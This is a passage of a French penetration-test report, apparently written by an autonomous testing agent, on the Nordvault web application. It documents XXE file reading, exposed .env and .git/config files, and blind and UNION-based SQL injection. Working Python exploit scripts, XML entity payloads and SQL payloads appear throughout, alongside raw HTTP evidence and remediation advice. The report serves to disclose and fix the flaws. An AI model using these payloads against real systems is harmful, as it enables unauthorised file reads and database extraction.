HTTP/1.1 401 Unauthorized Date: Sun, 11 Oct 2026 23:37:51 GMT Content-Type: application/json; charset=utf-8 Content-Length: 41 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=BjwDcVxpF7bJfRps3TpmaRDpEbVcgWOwmUudXHd%2BUuOffv2Pr4o9fiXKLMSgNouTs9Y3kPK3yVxUhX8bLx5jqghTPg%2BrsF%2BKZQrMosLiXOjfyTWwrMcYxkePPSjZnslfzbktCrDewzT0"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1f1fbeed28d-FRA alt-svc: h3=":443"; ma=86400 { "erreur": "authentification requise" }Request / response
HTTP request
POST /api/v1/import-commandes HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Cookie: [REDACTED] Content-Type: application/xml Content-Length: 0
HTTP response
HTTP/1.1 400 Bad Request Date: Sun, 11 Oct 2026 23:37:58 GMT Content-Type: application/json; charset=utf-8 Content-Length: 89 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=n1gv5Akftpbh2O%2FJ1t4Hl5lWmHEbMa8mkDAyBquErUl2WatxXDGuFHQBQXFshv%2F7Ow8R3OJI6lo764Gy527eHh1%2BSjVr7MgOvVwlSG01VaFKDWi2j%2FMR9z%2F%2FRZeekvD6pSibRmW4v5oT"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b21edcc33a88-FRA alt-svc: h3=":443"; ma=86400 { "erreur": "XML invalide : no element found: line 1, column 0", "avertissements": [] }Request / response
HTTP request
POST /api/v1/import-commandes HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Cookie: [REDACTED] Content-Type: application/xml Content-Length: 142 <!DOCTYPE commandes [<!ENTITY probe SYSTEM "file:///etc/hostname">]><commandes><commande><reference>&probe;</reference></commande></commandes>
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 102 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=CUCXlovR7t3KD%2F3CQGlwwQahBwrAIyl4201kDrgTtZcKvaMfS9bLfJi3Kg97m1St2gEIREnDC8YGrsAyb4orBZs9gedifohuJ99EMGyTbdBXV1lcyFJONx18omcvAOZzYkAuLwBMPDeq"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b2210ddfbbc7-FRA alt-svc: h3=":443"; ma=86400 { "importees": [ { "reference": "nova-web-01", "quantite": "" } ], "avertissements": [] }Exploit artifact
Reproduction
1. Créer un compte client par le parcours d’inscription public et récupérer son cookie de session
nova_jeton. 2. Soumettre àPOST /api/v1/import-commandesle document XML du script avecContent-Type: application/xmlet ce cookie. 3. Constater le statut200et la valeurimportees[0].referenceégale au contenu de/etc/hostname; comparer avec la réponse401obtenue sans cookie valide.Exploit artifact
text/x-shellscript import os import requests url = "https://app.nordvault.fr/api/v1/import-commandes" xml = '<!DOCTYPE commandes [<!ENTITY probe SYSTEM "file:///etc/hostname">]><commandes><commande><reference>&probe;</reference></commande></commandes>' response = requests.post( url, headers={"Content-Type": "application/xml"}, cookies={"nova_jeton": os.environ["NOVA_JETON"]}, data=xml.encode(), timeout=10, ) print(response.status_code, response.json())Request / response
HTTP request
POST /api/v1/import-commandes HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Cookie: [REDACTED] Content-Type: application/xml Content-Length: 168 <!DOCTYPE commandes [<!ENTITY probe SYSTEM "file:///etc/nova-nonexistent-validation-marker">]><commandes><commande><reference>&probe;</reference></commande></commandes>
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 160 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=NExgToydgZW0dNCostNpDC9mAS6O6Vpw0bExdfrZGGIXCh9VvNHeT5QLC8t%2BfJqpC6UOXVFG3B33mGchVFW%2FJxuE0rsuQBSVLnf%2FFrt%2Fwl1zEZ%2FI8xIOdgYPNvU1RDz4DkDxdxXr8zWZ"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b2204b3123fb-FRA alt-svc: h3=":443"; ma=86400 { "importees": [ { "reference": "curl: (37) Couldn't open file /etc/nova-nonexistent-validation-marker", "quantite": "" } ], "avertissements": [] }Request / response
HTTP request
POST /api/v1/import-commandes HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Cookie: [REDACTED] Content-Type: application/xml Content-Length: 127 <!DOCTYPE commandes [<!ENTITY probe "SAFE_LITERAL">]><commandes><commande><reference>&probe;</reference></commande></commandes>
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 103 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=QNTU%2BuW7IvGxNgU3UX8wEbQL0I6FN2ZstGUCUCVlSJurOvmkg3wIKsGVD7u2qmxAqblY8CKeqFIWA7TR6Vad25eAvgKAYZqeg4bB4tecZwU8Sh5BNfFnaAeNbzTEXCO5PUHPK%2Bm09kSQ"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b21f9978f466-FRA alt-svc: h3=":443"; ma=86400 { "importees": [ { "reference": "SAFE_LITERAL", "quantite": "" } ], "avertissements": [] }This evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
6. Exposition anonyme de fichiers
.envet.git/configcontenant des secrets de configurationhttps://app.nordvault.fr/.env
- CVSS 3.1 score
- 5.3
- Weakness (CWE)
- CWE-552
- OWASP category
- A01 · Broken Access Control
Description
Le serveur publie directement les fichiers
.envet.git/configà tout visiteur non authentifié. Ils révèlent des variables de configuration et une URL de dépôt comportant des identifiants intégrés ; la validité de ces identifiants n'a pas été établie.Impact
Une requête anonyme permet de lire les noms et valeurs de configuration
APP_ENV,JWT_SECRET,DATABASE_URL(avec identifiant et mot de passe),NOVA_AUDIT, ainsi qu'un identifiant et un mot de passe dans l'URL du dépôt Git. Cette divulgation de données non destinées au public est démontrée ; aucun accès à la base de données ou au dépôt distant, aucune réutilisation des secrets et aucune reconstruction du code source ne sont démontrés.Technical analysis
Les chemins de fichiers cachés sont servis tels quels par le serveur Web sans contrôle d'accès :
GET /.envretourne200 OK,Content-Type: text/plain; charset=utf-8etContent-Length: 143;GET /.git/configretourne200 OK,Content-Type: text/plainetContent-Length: 163. Le premier contient les clésAPP_ENV,JWT_SECRET,DATABASE_URLetNOVA_AUDIT; l'URL deremote "origin"dans le second comporte des composantes utilisateur et mot de passe.GET /.git/HEADretourne aussi200 OKet indiquerefs/heads/prod. Les chemins inexistants répondent404, ce qui écarte une page de repli universelle. Aucun code serveur n'étant disponible, la directive d'hébergement exacte qui rend ces fichiers publics reste inconnue.Remediation
1. Empêcher le serveur Web et tout frontal de servir les fichiers cachés et les répertoires
.git, en vérifiant les chemins accessibles avec et sans réécriture d'URL. 2. Placer la configuration et les métadonnées Git hors de la racine documentaire, puis supprimer leurs copies publiées et purger les éventuels caches. 3. Examiner la portée et la validité des identifiants exposés ; révoquer et remplacer sans délai tout secret opérationnel, puis contrôler les journaux d'accès pour déterminer s'ils ont déjà été consultés. 4. Ajouter une vérification automatisée du déploiement exigeant un refus pour/.env,/.git/configet/.git/HEAD.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Validation assumptions
Le visiteur n'a besoin d'aucun compte. L'impact prouvé est la lecture de contenu de configuration non public ; la validité et les privilèges des identifiants exposés ne sont pas présumés.
Confidence declared by the agent
HighCounterevidence examined
Les valeurs observées ressemblent en partie à des exemples : notamment, le secret JWT est une chaîne placeholder courte, et le mot de passe intégré à l'URL Git évoque un jeton non opérationnel. Les fichiers
/.git/index,/.git/packed-refs,/.git/refs/heads/prodet/.git/objects/info/packsrenvoient404, donc il n'existe pas de preuve de reconstruction du dépôt. Aucun identifiant n'a été utilisé et le dépôt distant n'a pas été contacté. Ces limites empêchent d'affirmer une compromission de comptes ou de services, mais n'annulent pas la divulgation directe de fichiers de configuration distinctement servis en200.Evidence
Exploit artifact
Reproduction
1. Depuis une session sans cookie ni en-tête d'autorisation, demander
/.envet constater la réponse200contenant les quatre noms de variables ; limiter l'inspection au constat de leur présence, sans publier les valeurs. 2. Demander/.git/configet constater la réponse200avec une URLremote "origin"possédant un utilisateur et un mot de passe ; ne pas contacter ce dépôt. 3. Demander/.git/HEAD, puis comparer avec/.env.missing,/.git/nonexistent,/.git/indexet/.git/refs/heads/prod; seuls les trois premiers fichiers existants sont servis.Exploit artifact
text/x-shellscript import re import urllib.error import urllib.request from urllib.parse import urlsplit base = "https://app.nordvault.fr" for path in ("/.env", "/.git/config", "/.git/HEAD", "/.env.missing", "/.git/nonexistent"): try: with urllib.request.urlopen(base + path, timeout=10) as response: status, body = response.status, response.read(4096).decode("utf-8", "replace") except urllib.error.HTTPError as error: status, body = error.code, "" print(path, status) if path == "/.env" and status == 200: print("configuration keys:", all(re.search(r"^" + key + r"=", body, re.M) for key in ("APP_ENV", "JWT_SECRET", "DATABASE_URL", "NOVA_AUDIT"))) if path == "/.git/config" and status == 200: remote = re.search(r"^\s*url\s*=\s*(\S+)", body, re.M) parsed = urlsplit(remote.group(1)) if remote else None print("remote contains username/password:[REDACTED], bool(parsed and parsed.username and parsed.password)) if path == "/.git/HEAD" and status == 200: print("production ref:", body.strip() == "ref: refs/heads/prod")This evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
7. Injection SQL aveugle dans le paramètre
skude/api/v1/stockhttps://app.nordvault.fr/api/v1/stock?sku=
- CVSS 3.1 score
- 5.3
- Weakness (CWE)
- CWE-89
- OWASP category
- A03 · Injection
Description
Le paramètre public
skude/api/v1/stockpermet d’injecter une condition SQL et d’en lire le résultat dansen_stock, sans authentification. L’oracle divulgue des attributs d’un produit inactif absent du catalogue et de l’API publique.Impact
Un visiteur non authentifié peut inférer, par des questions booléennes, des informations métier non publiées : la présence d’un produit
id=10, son statutactive=0, sa référencePAP-AGE-2025et le deuxième caractère de cette référence. La confidentialité démontrée est limitée (C:L) à ces attributs ; aucune donnée personnelle, extraction massive, écriture SQL ou modification durable n’a été démontrée.Technical analysis
La valeur
skuest vraisemblablement interpolée dans une requête SQL sans paramètre lié : une apostrophe clôt le littéral,ORajoute une expression choisie par l’appelant, puis--neutralise la suite. Pour le SKU inexistantZZZ-NO-SKU,OR 1=1renden_stock: trueetOR 1=2laisseen_stock: false. Une sous-requête sursqlite_masteretsqlite_version()établit l’évaluation réelle d’expressions SQL. La même voie donnetruepour(SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=1,falsepour=0et distingue le caractèreAdu caractèreZà la position 2 du SKU.GET /catalogueetGET /api/v1/produitsne publient que les identifiants 1 à 9 ;GET /produit/10retourne404. Le résultat SQL franchit ainsi la frontière entre les lignes internes deproductset les données visibles dans les interfaces publiques observées.Remediation
1. Construire la requête de stock avec un paramètre lié pour la valeur de
sku, sans interpolation dans le texte SQL, sur tous les chemins vers cette requête. 2. Vérifier le format attendu des SKU et limiter les droits SQL de la connexion applicative aux opérations nécessaires. 3. Ajouter des tests de non-régression avec les paires de prédicats ci-dessus : ils doivent tous retourner le même résultat que le SKU inexistant.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Validation assumptions
L’endpoint est publiquement accessible sans session. La preuve utilise uniquement des prédicats de lecture sur un produit inactif et des métadonnées non personnelles ; l’accès à d’autres tables, les privilèges SQL effectifs et l’exposition de données sensibles restent non vérifiés.
Confidence declared by the agent
HighCounterevidence examined
L’alternance pourrait provenir d’une simple réflexion du paramètre ou d’un effet de stock, mais le SKU de référence inexistant reste
falseet les paires ne changent qu’une comparaison SQL (=1/=0puis caractèreA/Z). Les interfaces publiques contrôlées montrent seulement les identifiants 1 à 9 et refusent le détail 10 ; elles ne prouvent pas qu’aucune autre publication du produit n’existe. Aucun balayage de tables ni accès à des informations personnelles ne justifie une confidentialité élevée :C:Ldemeure la limite étayée.Evidence
Exploit artifact
Reproduction
1. Consulter sans session le catalogue et la liste de produits publique ; constater que leurs identifiants vont de 1 à 9. Vérifier que
/produit/10retourne404. 2. Interroger/api/v1/stockavec le SKU inexistantZZZ-NO-SKUet constateren_stock: false. 3. Soumettre les deux comparaisonscount(*)du script pour le produit inactifid=10, l’une égale à 1 et l’autre à 0 ; constater respectivementtrueetfalse. 4. Soumettre les deux comparaisons du deuxième caractère desku, avecApuisZ; constater respectivementtrueetfalse. Arrêter après cette preuve limitée, sans énumérer d’autres produits ni données personnelles.Exploit artifact
text/x-shellscript import requests base = "https://app.nordvault.fr" session = [REDACTED] public_products = session.get(f"{base}/api/v1/produits", timeout=8, allow_redirects=False) public_products.raise_for_status() print("public_ids", [product["id"] for product in public_products.json()["produits"]]) print("product_10", session.get(f"{base}/produit/10", timeout=8, allow_redirects=False).status_code) payloads = [ "ZZZ-NO-SKU", "ZZZ-NO-SKU' OR (SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=1 -- ", "ZZZ-NO-SKU' OR (SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=0 -- ", "ZZZ-NO-SKU' OR substr((SELECT sku FROM products WHERE id=10 AND active=0),2,1)='A' -- ", "ZZZ-NO-SKU' OR substr((SELECT sku FROM products WHERE id=10 AND active=0),2,1)='Z' -- ", ] for sku in payloads: response = session.get(f"{base}/api/v1/stock", params={"sku": sku}, timeout=8, allow_redirects=False) response.raise_for_status() print(response.json()["en_stock"])Request / response
HTTP request
GET /api/v1/stock?sku=ZZZ-NO-SKU%27+OR+%282%2A3%29%3D7+--+ HTTP/1.1 Host: app.nordvault.fr User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:45 GMT Content-Type: application/json; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=HlQqhFyX0w%2BfFUYULFsj7IMOsqdw0LyHU5M%2BoD5h3ckqY5cDEQTJiHccCNg60PDGXyEJOWGjqfhPba8J7wRGZ00nO%2F%2BNgsuUN65h3fVeB%2F8AkCaYUgsmdOpJHMF5jxstqS%2BE%2FiZnSfiX"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b055bd11d2d3-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 60 { "sku": "ZZZ-NO-SKU' OR (2*3)=7 -- ", "en_stock": false }Request / response
HTTP request
GET /api/v1/stock?sku=ZZZ-NO-SKU%27+OR+%28SELECT+count%28%2a%29+FROM+products+WHERE+id%3d10+AND+active%3d0+AND+sku%3d%27PAP-AGE-2025%27%29%3d1+--+ HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:40:24 GMT Content-Type: application/json; charset=utf-8 Content-Length: 133 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=9XcrwB68wc3phuNq2itWtUlH5eavvAEAgkxaIByXtYvaNeyzg4PyMa%2BV8mRdZF09N9gnCNN57Fd7NAy3Ehwv6O91oAArQx7pmUQEN4hXeGNbCEG49qk2UWw8H6N3aNFn%2Foitz2aCzKL3"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b5afc889dbe6-FRA alt-svc: h3=":443"; ma=86400 { "sku": "ZZZ-NO-SKU' OR (SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=1 -- ", "en_stock": true }Request / response
HTTP request
GET /produit/10 HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 404 Not Found Date: Sun, 11 Oct 2026 23:40:24 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ArMRETtbtfm3g1zKK%2B8f4ZOM7ZBV8skyIT%2FKkc8hJaQ0ajFbdTasZ6V1brGznfLr9J%2FaEnUncjibSAOv8YpUZ86NAnHvVW9NgrYATrLvDJNhE%2BteL%2FOk6oVXn%2BDsd0psWiE7EeopGaiT"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b5addf6499cc-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2408 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Produit introuvable - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Produit introuvable</h1></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b5addf6499cc',t:'MTc5MTc2MjAyNA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
GET /api/v1/stock?sku=ZZZ-NO-SKU%27+OR+%282%2A3%29%3D6+--+ HTTP/1.1 Host: app.nordvault.fr User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:45 GMT Content-Type: application/json; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=uxR096K7cuH9wKmtR88H5MPbn0zXfWSmnhIwG56BSPEPHL2Rt5XoloVkLFcUP%2FujCUa%2Fv01HqOpask%2FaNxHMWrJEjw4WQ6VjvHcGN30JNUFqkWifW7fGHAHybBcDX%2Fwfy5uM6VTVerm7"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b0554c6dd2d3-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 59 { "sku": "ZZZ-NO-SKU' OR (2*3)=6 -- ", "en_stock": true }Request / response
HTTP request
GET /api/v1/stock?sku=ZZZ-NO-SKU%27+OR+%28SELECT+count%28%2a%29+FROM+products+WHERE+id%3d10+AND+active%3d0+AND+sku%3d%27PAP-AGE-2025%27%29%3d0+--+ HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:40:25 GMT Content-Type: application/json; charset=utf-8 Content-Length: 134 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=t16lgVJU8p%2BYTBiEc%2B%2FB0ZhJ%2B%2BigfMzssD09ifdJfsIMRbg4XacPX4jZPAKDaf%2FD0K3VVYBYiwEB9OqGD8mhQ%2BOKv0RW7IBKnE%2BsjK3fdd8duGwtNLa8hp9V%2FrVOOjYtsm6GQIOvgdrb"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b5b06d7ddbcd-FRA alt-svc: h3=":443"; ma=86400 { "sku": "ZZZ-NO-SKU' OR (SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=0 -- ", "en_stock": false }This evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
8. Injection SQL non authentifiée dans le filtre
categoriedu cataloguehttps://app.nordvault.fr/catalogue?categorie=
- CVSS 3.1 score
- 5.3
- Weakness (CWE)
- CWE-89
- OWASP category
- A03 · Injection
Description
Le paramètre
categoriedeGET /catalogueest inséré dans une requête SQL sans paramétrage. Un visiteur non authentifié peut modifier la condition de sélection et afficher un produit normalement absent du catalogue.Impact
La preuve affiche le produit inactif « Agenda 2025 semainier » et sa référence
PAP-AGENDA-2025au moyen deOR 1=1, alors que sa fiche/produit/10répond404. La requêteUNION SELECTconfirme la possibilité de faire apparaître une ligne construite par l’attaquant et la version SQLite3.46.1. Aucune donnée personnelle ni extraction d’autres tables n’a été démontrée ; aucune écriture en base n’a été tentée.Technical analysis
La réponse à une apostrophe isolée révèle la forme de la requête serveur :
SELECT id, name, price, sku FROM products WHERE category = 'papeterie'' AND active = 1Le caractère contrôlé par le client ferme le littéral
category.AND 1=0--supprime les résultats, tandis queOR 1=1--neutralise la restriction de catégorie et le filtreactive = 1. Une sélectionUNION SELECT 999,sqlite_version(),0,'TEST'--insère une ligne dans les quatre colonnes affichées. Les variations opposées et la version SQL effectivement évaluée établissent une injection, plutôt qu’un simple reflet HTML.Remediation
1. Remplacer l’interpolation de
categoriepar un paramètre lié dans la requête SQL, tout en conservant la conditionactive = 1indépendante des entrées utilisateur. 2. Appliquer une liste de valeurs de catégories autorisées et répondre de manière contrôlée aux valeurs invalides. 3. Supprimer l’affichage de la requête SQL et des erreurs du moteur dans les réponses publiques ; journaliser les détails côté serveur. 4. Ajouter des tests opposant une catégorie normale aux caractères spéciaux, aux prédicats booléens et aux unions, ainsi que des tests garantissant qu’aucun produit inactif n’apparaît.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Validation assumptions
L’attaque requiert uniquement l’accès HTTP public à
/catalogue; les comparaisons ont été effectuées sans session. Le produit non actif est considéré comme une information non destinée au catalogue public parce que la requête normale imposeactive = 1et que sa fiche directe renvoie404.Confidence declared by the agent
HighCounterevidence examined
La forte hypothèse contraire serait que les données du catalogue soient volontairement publiques ou que les valeurs apparaissent uniquement par reflet de la chaîne recherchée. Cette explication ne couvre pas la ligne
/produit/10, absente de la catégorie normale et inaccessible directement, ni l’évaluation desqlite_version()à3.46.1dans une ligneUNION. Le filtreactive = 1existe dans la requête normale mais est commenté par la saisie ; l’étendue des données au-delà de cette table et les droits d’écriture n’ont pas été vérifiés.Evidence
Request / response
HTTP request
GET /catalogue?categorie=nonexistent%27+UNION+SELECT+999%2csqlite_version%28%29%2c0%2c%27TEST%27--+ HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:56 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=h9pcwm7PVjTA24CXaqei%2Fi7Me8h3DPQ1v%2FuCbnzcPXiKR%2Fqya86IXFyDTFHpJMRpzYmuUE507x2sIr2qKuOjZ%2FTKPBYZsh9zfpZgt7CGBL6j8UtXTo6Wq6RUQU4q%2BZnRgr4PvcDIJM2X"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b2126eeed265-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2777 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Catalogue - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Catalogue nonexistent' UNION SELECT 999,sqlite_version(),0,'TEST'-- </h1><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody><tr><td><a href="/produit/999">3.46.1</a></td><td>TEST</td><td>0</td></tr></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b2126eeed265',t:'MTc5MTc2MTg3Ng=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
GET /catalogue?categorie=papeterie HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:42 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=rj8D4FehpxVUEt%2FWMNbLY7ndIx5v4Nist%2FPe2PG1Z2okulO21AT4AI4OhXBp%2BouRAKF9p5yFrY5FZYD6%2Bj8FnR1y9V2mw%2F7prwZDFAymn9nWeuQNXG4N5owGSD6iUg1cYc3olGcaNVd%2B"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1b94dac4db3-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2835 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Catalogue - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid 